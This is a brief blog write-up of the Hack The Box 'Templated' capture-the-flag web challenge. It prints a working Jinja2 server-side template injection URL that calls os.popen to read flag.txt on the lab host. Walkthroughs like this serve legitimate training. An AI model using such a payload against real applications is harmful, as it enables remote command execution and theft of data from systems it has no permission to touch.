Hackthebox templated web challenge quick writeup

Hackthebox templated web challenge quick writeup

First of all start the instance

Hackthebox templated web challenge quick writeup

On visiting the host we see flask/jinja2.

Hackthebox templated web challenge quick writeup

So I searched for the exploit .

Hackthebox templated web challenge quick writeup

Checking for SSTI

Hackthebox templated web challenge quick writeup

Got an article about SSTI

https://www.onsecurity.io/blog/server-side-template-injection-with-jinja2/

Hackthebox templated web challenge quick writeup
http://165.22.124.155:31361/%7B%7Brequest.application.globals.builtins.import('os').popen('cat%20flag.txt').read()%7D%7D
Hackthebox templated web challenge quick writeup

And we got the flag successfully..

📢 Share this tutorial:
👨‍💻

Nagendra Rana

Software Development Engineer 2 (SDE-2) @ Digilytics AI & Founder of WhatInfoTech

Architecting scalable enterprise Angular applications, Spring Boot 3 microservices, Python / FastAPI, PostgreSQL, and AI document extraction solutions.

← Previous Article

Hackthebox Omni Writeup

Next Article →

How to perform basic SQL operation Using Hibernate in NetBeans

Leave a Reply

Your email address will not be published. Required fields are marked *

Support My Work